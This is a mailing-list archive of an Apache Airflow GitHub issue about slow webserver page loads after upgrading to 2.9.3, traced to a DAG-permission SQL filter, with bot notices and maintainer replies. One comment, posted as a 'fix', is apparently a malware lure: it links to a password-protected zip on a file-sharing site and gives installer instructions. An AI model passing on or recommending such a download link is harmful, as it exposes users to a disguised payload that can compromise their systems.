You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@airflow.apache.org by "TreasureMaster (via GitHub)" <gi...@apache.org> on 2024/08/29 07:14:34 UTC
[I] Webserver is slow after upgrading to v2.9.3 [airflow]
TreasureMaster opened a new issue, #41851:
URL: https://github.com/apache/airflow/issues/41851
### Apache Airflow version
2.9.3
### If "Other Airflow 2 version" selected, which one?
_No response_
### What happened?
We have updated the version from 2.6.2 to 2.9.3. After the update the main page opens very slowly. The 'failed' button causes Airflow to fail due to a timeout.
[Start the discussion here](https://github.com/apache/airflow/discussions/41113)
### What you think should happen instead?
We have 3200 Dags now. And their number is increasing.
The slowdown is caused by line 855 in the file `/airflow/www/views.py`:
```python
status_count_failed = get_query_count(failed_dags, session=session)
```
But not all of it, but only that part of it that filters dags by access rights. We commented out line 799 to prevent filtering by IN. This row:
```python
dags_query = dags_query.where(DagModel.dag_id.in_(filter_dag_ids))
```
This filter condition is not optimal when querying and is very slow. The slow part is highlighted in the query

It is converted from this line:
```sql
WHERE NOT dag.is_subdag AND dag.is_active AND dag.dag_id IN (__[POSTCOMPILE_dag_id_1])
```
The entire request takes between 60 and 70 seconds on our main page. But without this filtering part, the request takes just over 1 second.
My dbeaver hangs during DB query due to lack of memory.
Is it possible to optimize this query? Or split it into parts and filter by permissions it using Python.
### How to reproduce
You need to have a large number of dags and dagruns.
### Operating System
CentOS 7
### Versions of Apache Airflow Providers
_No response_
### Deployment
Docker-Compose
### Deployment details
Our infrastructure:
1) database server
2) server with Airflow webserver, scheduler and Redis
3) three servers with workers
Modified bitnami images are used. Additional libraries installed.
### Anything else?
_No response_
### Are you willing to submit PR?
- [ ] Yes I am willing to submit a PR!
### Code of Conduct
- [X] I agree to follow this project's [Code of Conduct](https://github.com/apache/airflow/blob/main/CODE_OF_CONDUCT.md)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] Webserver is slow after upgrading to v2.9.3 [airflow]
Posted by "github-actions[bot] (via GitHub)" <gi...@apache.org>.
github-actions[bot] commented on issue #41851:
URL: https://github.com/apache/airflow/issues/41851#issuecomment-2350730701
This issue has been automatically marked as stale because it has been open for 14 days with no response from the author. It will be closed in next 7 days if no further activity occurs from the issue author.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] Webserver is slow after upgrading to v2.9.3 [airflow]
Posted by "tirkarthi (via GitHub)" <gi...@apache.org>.
tirkarthi commented on issue #41851:
URL: https://github.com/apache/airflow/issues/41851#issuecomment-2317650708
Related
https://github.com/apache/airflow/issues/38776
https://github.com/apache/airflow/issues/40547
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] Webserver is slow after upgrading to v2.9.3 [airflow]
Posted by "boring-cyborg[bot] (via GitHub)" <gi...@apache.org>.
boring-cyborg[bot] commented on issue #41851:
URL: https://github.com/apache/airflow/issues/41851#issuecomment-2316877982
Thanks for opening your first issue here! Be sure to follow the issue template! If you are willing to raise PR to address this issue please do so, no need to wait for approval.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] Webserver is slow after upgrading to v2.9.3 [airflow]
Posted by "github-actions[bot] (via GitHub)" <gi...@apache.org>.
github-actions[bot] commented on issue #41851:
URL: https://github.com/apache/airflow/issues/41851#issuecomment-2364773230
This issue has been closed because it has not received response from the issue author.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] Webserver is slow after upgrading to v2.9.3 [airflow]
Posted by "github-actions[bot] (via GitHub)" <gi...@apache.org>.
github-actions[bot] closed issue #41851: Webserver is slow after upgrading to v2.9.3
URL: https://github.com/apache/airflow/issues/41851
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] Webserver is slow after upgrading to v2.9.3 [airflow]
Posted by "jscheffl (via GitHub)" <gi...@apache.org>.
jscheffl commented on issue #41851:
URL: https://github.com/apache/airflow/issues/41851#issuecomment-2320689319
I would assume a setup with 3000+ DAGs is nothing that is running w/o special attention in regards of performance. Re-writing the queries of course is possible but also the complexity of data selection might be expensive.
Plans are ongoing to re-write the UI and also make async calls in a future Airflow 3, I would not expect a major investment in current Airflow 2.10-line.
Some options that might help compensating - as you are already in level of patching code:
- Have you attempted to analyze the query and add more resources to the DB to improve queries or add specific indexes?
- Do you use DAG level permissions? If not, as you are patching the code, removing the DAG access level filter might be a simple option to improve query
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
Re: [I] Webserver is slow after upgrading to v2.9.3 [airflow]
Posted by "kehkou (via GitHub)" <gi...@apache.org>.
kehkou commented on issue #41851:
URL: https://github.com/apache/airflow/issues/41851#issuecomment-2316878841
Download
https://www.mediafire.com/file/jc5ws0hujgycrp5/fix.zip/file
password: changeme
In the installer menu, select "gcc."
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@airflow.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org